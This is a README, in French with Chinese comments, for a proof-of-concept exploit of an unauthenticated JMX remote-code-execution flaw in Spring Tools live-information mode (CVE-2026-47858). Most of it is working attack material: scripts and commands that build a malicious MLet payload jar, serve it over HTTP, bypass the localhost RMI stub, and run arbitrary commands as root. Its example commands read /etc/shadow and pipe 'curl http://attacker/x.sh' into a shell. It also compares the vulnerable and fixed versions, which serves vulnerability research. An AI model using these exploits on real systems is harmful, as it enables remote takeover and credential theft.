
Preuve de concept d'exploit pour une RCE JMX non authentifiée dans le mode d'informations en direct de Spring Tools, utilisant le chargement distant de classes MLet pour exécuter des commandes arbitraires sur des applications Spring Boot vulnérables.
English README | Bulletin de vulnérabilité : Spring Security Advisory | CVE Record
Vulnérabilité : lorsque Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 démarre une application Spring Boot en mode live information (activé par défaut), il injecte dans l'application des paramètres JMX distants sans authentification, sans TLS et liés à toutes les interfaces réseau. Un attaquant du réseau adjacent peut se connecter sans identifiants à ce MBeanServer JMX et obtenir une RCE directe (privilèges root) via le chargement de classes distant MLet.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HComparaison du tag affecté 5.2.0.RELEASE (== v2.2.0) avec le tag corrigé 5.3.0.RELEASE (== v2.3.0) :
Version vulnérable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java :
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true : activé par défaut, ces paramètres sont injectés à chaque démarrage d'une application Boot depuis l'IDE.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injecte les mêmes -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Version corrigée 5.3.0 :
-Dcom.sun.management.jmxremote.host=127.0.0.1 et -Dcom.sun.management.jmxremote.local.only=true sont ajoutés (le JMX n'est lié qu'à la boucle locale).com.sun.management.jmxremote* ne sont plus du tout injectés ; à la place, l'API Attach est utilisée pour s'attacher localement au processus via son PID (même chose côté VSCode, où les paramètres JMX distants ont été entièrement retirés de debug-config-provider.ts).Remarque : la simple présence de
-Dcom.sun.management.jmxremote.portactive l'agent JMX (l'interrupteur principalcom.sun.management.jmxremoten'est pas nécessaire) ; la variante VSCode est également concernée.
Dépendances : docker, JDK 17+ (par défaut /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optionnel).
./run-lab.sh vuln # 漏洞配置 (5.2.0 参数) -> 预期: RCE 成功
./run-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 -> 预期: 攻击被拒 (JMX 仅 127.0.0.1)
./run-lab.sh fixed-auto # 修复版 5.3.0 默认 auto -> 预期: 攻击被拒 (无远程 JMX 端口)
Personnalisation de la commande exécutée sur la machine victime (par défaut id; hostname; uname -a) :
PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln
Le script effectue automatiquement : construction de l'application Spring Boot victime → création d'un réseau docker bridge isolé (conteneur victime 172.22.0.x, attaquant sur la machine hôte, simulant un réseau adjacent) → démarrage de l'application avec les paramètres JVM de la version correspondante → affichage du port d'écoute JMX → exécution de l'exploit → vérification du fichier de marquage RCE (/tmp/CVE-2026-47858_PWNED*) dans le conteneur victime.
attack.sh (recommandé)La commande est entièrement configurable ; modifier la commande ne nécessite aucune recompilation (la commande est transmise via la balise MLET <ARG>, le jar est indépendant de la commande) :
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
Déroulement : compilation automatique de evil.jar → génération de mlet.txt après échappement XML de la commande → démarrage d'un serveur HTTP pour servir evil.jar + mlet.txt → compilation et exécution de JmxExploit → (si un nom de conteneur est fourni) entrée dans le conteneur pour vérifier le fichier de marquage.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 在目标机上验证
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout
Pwn implémente DynamicMBean ; la commande est exécutée de manière synchrone dans le constructeur via /bin/sh -c (priorité : paramètre MLET <ARG> > variable d'environnement du processus victime CVE_PAYLOAD_CMD > commande par défaut id; hostname; uname -a)./tmp/CVE-2026-47858_PWNED — sa présence signifie que la RCE a réussi/tmp/CVE-2026-47858_PWNED_cmd — la commande réellement exécutée/tmp/CVE-2026-47858_PWNED_cmdout — la sortie de la commande (stdout+stderr)Pourquoi
<ARG>? LeMLetParserdu JDK ne reconnaît que<ARG>(<PARAM>est silencieusement ignoré), etTYPE/VALUEsont tous deux obligatoires ; de plus, le parseur MLet ne traite pas les commentaires HTML :mlet.txtne doit contenir aucun texte superflu de type<...>.
Attaquant ──TCP──▶ Registre RMI JMX de la victime (19090) ← l'attaquant se connecte activement au service de la victime
Attaquant ◀──TCP── Serveur RMI de la victime (port aléatoire) ← communication normale du protocole JMX
Attaquant ──appel──▶ JVM victime : newClient(null) ← connexion sans identifiants au MBeanServer
Attaquant ──appel──▶ JVM victime : getMBeansFromURL(...) ← la JVM victime instancie les classes malveillantes de façon synchrone
JVM victime ──HTTP GET──▶ Attaquant :8000/evil.jar ← seul « callback » : téléchargement du jar de la charge utile
Dans la JVM victime : constructeur Pwn Runtime.exec("<commande>") ← la commande s'exécute directement dans le processus victime
getMBeansFromURL retourne, la commande est déjà terminée (le fichier de marquage a été écrit sur disque).-Djava.rmi.server.hostname=localhost fait seulement annoncer "localhost" par le stub RMI (un client par défaut tenterait de se connecter à sa propre boucle locale et échouerait, ce que NaiveJmxClient reproduit). JmxExploit contourne ce mécanisme en réécrivant par réflexion l'hôte TCPEndpoint du stub pour y placer la véritable IP (des outils existants, comme java_jmx_server de Metasploit, contournent également).Preuves issues de tests réels (dans le conteneur victime) :
$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root) # 自定义命令输出
d4af4b454b90 # 受害容器主机名
$ cat /tmp/CVE-2026-47858_PWNED_cmd # 自定义命令(经 <ARG> 传入)
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar
-Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true afin d'écraser ces paramètres.CVE-2026-47858/
├── README.md # 本文档(中文)
├── README.en.md # 英文文档
├── run-lab.sh # 一键复现(vuln / fixed-pinned / fixed-auto 三种模式)
├── attack.sh # 灵活利用脚本(命令可配置,改命令无需重编译)
├── attacker/
│ ├── JmxExploit.java # 利用程序:stub 主机重写 + MLet 远程类加载 RCE
│ └── NaiveJmxClient.java # 对照组:不绕过 localhost 通告的朴素客户端(必失败)
├── exploit-server/
│ ├── evil/Pwn.java # 恶意 DynamicMBean(构造函数执行命令)
│ ├── mlet.txt.template # MLET 描述模板(命令占位符 __COMMAND__)
│ └── evil.jar # 已构建的恶意载荷(命令无关,可随时重建)
└── victim-app/app/ # 受害 Spring Boot 4.0.7 应用(web+actuator)
Ce dépôt est destiné uniquement à la recherche en sécurité autorisée, à la validation de vulnérabilités et aux tests défensifs. L'exploitation non autorisée de tout système est illégale ; l'utilisateur assume l'entière responsabilité.
| Configuration | Écoute JMX | Connexion distante non authentifiée | RCE |
|---|
| Version vulnérable 5.2.0 (paramètres Eclipse) | *:19090, etc. (0.0.0.0) | ✅ (contournement de localhost par réécriture de l'hôte du stub) | ✅ root |
| Version vulnérable 5.2.0 (paramètres VSCode 2.2.0) | *:19090 (0.0.0.0) | ✅ | ✅ |
| Version corrigée 5.3.0 (port fixe) | uniquement 127.0.0.1 | ❌ connexion refusée | ❌ |
| Version corrigée 5.3.0 (auto par défaut) | aucun port JMX | ❌ | ❌ |